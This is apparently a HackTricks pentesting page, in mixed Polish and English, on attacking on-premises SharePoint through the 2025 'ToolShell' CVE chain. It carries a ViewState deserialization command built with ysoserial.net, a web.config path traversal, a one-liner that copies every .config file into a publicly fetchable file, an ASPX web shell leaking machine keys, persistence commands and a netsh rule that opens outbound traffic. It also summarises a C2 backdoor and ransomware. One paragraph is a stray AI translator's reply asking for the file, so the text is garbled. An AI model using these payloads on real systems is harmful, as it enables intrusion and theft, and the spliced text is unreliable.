Microsoft SharePoint – Pentesting & Exploitation

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Microsoft SharePoint (on-premises) jest zbudowany na ASP.NET/IIS. Większość klasycznej powierzchni ataku web (ViewState, Web.Config, web shells, etc.) jest więc obecna, ale SharePoint zawiera także setki własnych stron ASPX i web services, które dramatycznie zwiększają eksponowaną powierzchnię ataku. Ta strona zbiera praktyczne triki mające na celu enumerate, exploit and persist inside SharePoint environments, ze szczególnym naciskiem na 2025 exploit chain ujawniony przez Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> pozwala na wstrzyknięcie dowolnego kodu Server-Side Include na stronę, który jest później kompilowany przez ASP.NET. Atakujący może osadzić C#, który wywoła Process.Start() i umieścić złośliwy ViewState.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Ta sama strona ufa nagłówkowi X-Forms_BaseUrl w celu określenia kontekstu witryny. Wskazując go na /_layouts/15/, MFA/SSO wymuszane na witrynie głównej można obejść bez uwierzytelnienia.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Gdy atakujący kontroluje gadget w ToolPane.aspx, może wysłać wartość __VIEWSTATE unsigned (lub MAC-only), która wywołuje deserialization .NET wewnątrz w3wp.exe, prowadząc do wykonania kodu.

If signing is enabled, steal the ValidationKey/DecryptionKey from any web.config (see 2.4) and forge the payload with ysoserial.net or ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Aby uzyskać szczegółowe wyjaśnienie nadużywania ASP.NET ViewState przeczytaj:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Wysłanie spreparowanego parametru Source do ToolPane.aspx (np. ../../../../web.config) powoduje zwrócenie docelowego pliku, allowing leakage of:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • connection strings & secrets.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point odwzorował, jak Ink Dragon uruchomił łańcuch ToolShell na miesiące przed tym, jak Microsoft wypuścił poprawki:

  • Header spoofing for auth bypass – aktor wysyła żądania POST do /_layouts/15/ToolPane.aspx z Referer: https://<victim>/_layouts/15/ oraz sfałszowanym X-Forms_BaseUrl. Te nagłówki przekonują SharePoint, że żądanie pochodzi z zaufanego layoutu i całkowicie pomijają front-door authentication (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – w ciele znajduje się kontrolowany przez atakującego ViewState/ToolPart, który trafia do podatnego server-side formattera (CVE-2025-49704/CVE-2025-53770). Payload to zwykle łańcuch ysoserial.net uruchamiający się w w3wp.exe bez zapisu na dysk.
  • Internet-scale scanning – telemetry z lipca 2025 pokazuje, że skanują każdy osiągalny endpoint /_layouts/15/ToolPane.aspx i replayują słownik leaked <machineKey> par. Każda strona, która skopiowała przykładowy validationKey z dokumentacji, może zostać skompromitowana nawet jeśli jest w pełni załatana (zob. stronę ViewState dotyczącą signing workflow).
  • Immediate staging – udane wykorzystanie upuszcza loader lub PowerShell stagera, który: (1) zrzuca wszystkie web.config, (2) osadza ASPX webshell dla dostępu awaryjnego, oraz (3) planuje lokalny Potato privesc, aby uciec z procesu roboczego IIS.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Wynikowy debug_dev.js może być pobrany anonimowo i zawiera wszystkie wrażliwe konfiguracje.

3.2 Deploy a Base64-encoded ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

Przykład zdekodowanego payloadu (skrócony):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

I don’t have the file contents. Please paste the markdown from src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md (or upload it) and I’ll translate the English text to Polish, preserving all markdown/HTML, code, links, paths and tags as you requested.

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 Obfuscated variant (variation-3)

Ten sam shell, ale:

  • umieszczony pod ...\15\TEMPLATE\LAYOUTS\
  • nazwy zmiennych skrócone do pojedynczych liter
  • Thread.Sleep(<ms>) dodano dla sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (zaobserwowane w 2025–2026)

Niedawne śledztwa incident-response (Unit42 “Project AK47”) pokazują, jak atakujący wykorzystują łańcuch ToolShell po początkowym RCE, aby wdrożyć dwukanałowy implant C2 i ransomware w środowiskach SharePoint:

AK47C2 – dnsclient variant

  • Hard-coded DNS server: 10.7.66.10 communicating with authoritative domain update.updatemicfosoft.com.
  • Messages are JSON objects XOR-encrypted with the static key VHBD@H, hex-encoded and embedded as sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Long queries are chunked and prefixed with s, then re-assembled server-side.
  • Server replies in TXT records carrying the same XOR/hex scheme:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 introduced a simplified format <COMMAND>::<SESSION_KEY> and chunk markers 1, 2, a.

AK47C2 – httpclient variant

  • Re-uses the exact JSON & XOR routine but sends the hex blob in the HTTP POST body via libcurl (CURLOPT_POSTFIELDS, etc.).
  • Same task/result workflow allowing:
    • Arbitrary shell command execution.
    • Dynamic sleep interval and kill-switch instructions.

X2ANYLOCK ransomware

  • 64-bit C++ payload loaded through DLL side-loading (see below).
  • Employs AES-CBC for file data + RSA-2048 to wrap the AES key, then appends the extension .x2anylock.
  • Recursively encrypts local drives and discovered SMB shares; skips system paths.
  • Drops clear-text note How to decrypt my data.txt embedding a static Tox ID for negotiations.
  • Contains an internal kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Attacker writes dllhijacked.dll/My7zdllhijacked.dll next to a legitimate 7z.exe.
  2. SharePoint-spawned w3wp.exe launches 7z.exe, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory.
  3. A separate LockBit loader observed (bbb.msiclink_x86.execlink_dll_x86.dll) decrypts shell-code and performs DLL hollowing into d3dl1.dll to run LockBit 3.0.

[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.

3.5 Przekształcanie zdobytych danych SharePoint w lateral movement

  • Odszyfruj każdą chronioną sekcję – po uzyskaniu dostępu do warstwy web, nadużyj aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (lub -px "appSettings") aby zrzucić jawne sekrety ukryte za <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon wielokrotnie zbierał w ten sposób loginy do SQL, SMTP relays i niestandardowe poświadczenia usług.
  • Powielanie kont app-pool w różnych farmach – wiele przedsiębiorstw używa tego samego konta domenowego dla IIS APPPOOL\SharePoint na każdym front-endzie. Po odszyfrowaniu bloków identity impersonate="..." lub odczytaniu ApplicationHost.config, przetestuj poświadczenia przez SMB/RDP/WinRM na każdym sąsiednim serwerze. W kilku incydentach konto było również administratorem lokalnym, co pozwalało na psexec, sc create, lub staging zaplanowanego zadania bez wywoływania password sprays.
  • Abuse leaked <machineKey> values internally – nawet jeśli perimeter internetowy zostanie załatany, ponowne użycie tego samego validationKey/decryptionKey umożliwia lateral ViewState exploitation między wewnętrznymi strefami SharePoint, które sobie ufają.

3.6 Persistence patterns witnessed in 2025 intrusions

  • Scheduled tasks – tworzono jednorazowe zadanie o nazwie SYSCHECK (lub inne o tematyce zdrowotnej) z /ru SYSTEM /sc once /st <hh:mm> aby zainicjować loader następnego etapu (zwykle przemianowany conhost.exe). Ponieważ jest uruchamiane tylko raz, telemetry często je przegapia, chyba że zachowano historyczny XML zadania.
  • Masqueraded services – usługi takie jak WindowsTempUpdate, WaaSMaintainer, czy MicrosoftTelemetryHost są instalowane przez sc create wskazujące na katalog triady sideloading. Binarne zachowują oryginalne podpisy AMD/Realtek/NVIDIA, ale są przemianowane, aby pasować do komponentów Windows; porównanie nazwy na dysku z polem PE OriginalFileName to szybki test integralności.

3.7 Host firewall downgrades for relay traffic

Ink Dragon rutynowo dodaje permisywną regułę wychodzącą podszywającą się pod konserwację Defendera, aby ruch ShadowPad/FinalDraft mógł wychodzić przez dowolny port:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Ponieważ reguła jest tworzona lokalnie (nie przez GPO) i używa legalnego pliku binarnego Defender jako program=, większość baseline’ów SOC ją ignoruje, a mimo to otwiera Any ➜ Any ruch wychodzący.


Powiązane triki

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks